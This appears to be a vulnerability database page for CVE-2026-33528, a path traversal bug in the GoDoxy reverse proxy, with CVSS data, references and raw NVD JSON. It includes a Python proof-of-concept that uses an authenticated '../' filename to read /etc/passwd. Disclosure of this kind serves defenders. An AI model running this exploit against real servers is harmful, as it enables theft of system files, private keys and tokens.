CVE-2026-33528

Description

GoDoxy is a reverse proxy and container orchestrator for self-hosters. Prior to version 0.27.5, the file content API endpoint at `/api/v1/file/content` is vulnerable to path traversal. The `filename` query parameter is passed directly to `path.Join(common.ConfigBasePath, filename)` where `ConfigBasePath = "config"` (a relative path). No sanitization or validation is applied beyond checking that the field is non-empty (`binding:"required"`). An authenticated attacker can use `../` sequences to read or write files outside the intended `config/` directory, including TLS private keys, OAuth refresh tokens, and any file accessible to the container's UID. Version 0.27.5 fixes the issue.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:godoxy:godoxy:*:*:*:*:*:go:*:* - VULNERABLE

GoDoxy < 0.27.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/api/v1/file/content"
# Since PR:H is required, a valid authentication token is needed
auth_token = "YOUR_VALID_AUTH_TOKEN"

# Headers with Authentication
headers = {
    "Authorization": f"Bearer {auth_token}",
    "Content-Type": "application/json"
}

# Malicious payload using path traversal to read /etc/passwd
# Adjust the number of '../' based on the directory depth
payload_params = {
    "filename": "../../../../../etc/passwd"
}

try:
    # Sending GET request to read the file
    response = requests.get(target_url, headers=headers, params=payload_params)
    
    if response.status_code == 200:
        print("[+] Exploit Successful!")
        print("[+] File Content:")
        print(response.text)
    else:
        print(f"[-] Exploit Failed. Status Code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33528
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33528
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33528/
[4] VulDB https://vuldb.com/cve/CVE-2026-33528
[5] https://github.com/yusing/godoxy/commit/a541d75bb50f1b542c096d8bc8082c3549f5c059
[6] https://github.com/yusing/godoxy/releases/tag/v0.27.5
[7] https://github.com/yusing/godoxy/security/advisories/GHSA-4753-cmc8-8j9v
[8] https://github.com/yusing/godoxy/security/advisories/GHSA-4753-cmc8-8j9v

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33528", "sourceIdentifier": "[email protected]", "published": "2026-03-26T20:16:14.913", "lastModified": "2026-04-02T18:17:26.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GoDoxy is a reverse proxy and container orchestrator for self-hosters. Prior to version 0.27.5, the file content API endpoint at `/api/v1/file/content` is vulnerable to path traversal. The `filename` query parameter is passed directly to `path.Join(common.ConfigBasePath, filename)` where `ConfigBasePath = \"config\"` (a relative path). No sanitization or validation is applied beyond checking that the field is non-empty (`binding:\"required\"`). An authenticated attacker can use `../` sequences to read or write files outside the intended `config/` directory, including TLS private keys, OAuth refresh tokens, and any file accessible to the container's UID. Version 0.27.5 fixes the issue."}, {"lang": "es", "value": "GoDoxy es un proxy inverso y orquestador de contenedores para autoalojadores. Antes de la versión 0.27.5, el endpoint de la API de contenido de archivos en '/api/v1/file/content' es vulnerable a salto de ruta. El parámetro de consulta 'filename' se pasa directamente a 'path.Join(common.ConfigBasePath, filename)' donde 'ConfigBasePath = \"config\"' (una ruta relativa). No se aplica ninguna sanitización ni validación más allá de verificar que el campo no esté vacío ('binding:\"required\"'). Un atacante autenticado puede usar secuencias '../' para leer o escribir archivos fuera del directorio 'config/' previsto, incluyendo claves privadas TLS, tokens de actualización de OAuth y cualquier archivo accesible al UID del contenedor. La versión 0.27.5 soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:godoxy:godoxy:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.27.5", "matchCriteriaId": "1505EC25-9DA1-4B84-A1B4-EA519A33AB71"}]}]}], "references": [{"url": "https://github.com/yusing/godoxy/commit/a541d75bb50f1b542c096d8bc8082c3549f5c059", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/yusing/godoxy/releases/tag/v0.27.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/yusing/godoxy/security/advisories/GHSA-4753-cmc8-8j9v", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/yusing/godoxy/security/advisories/GHSA-4753-cmc8-8j9v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}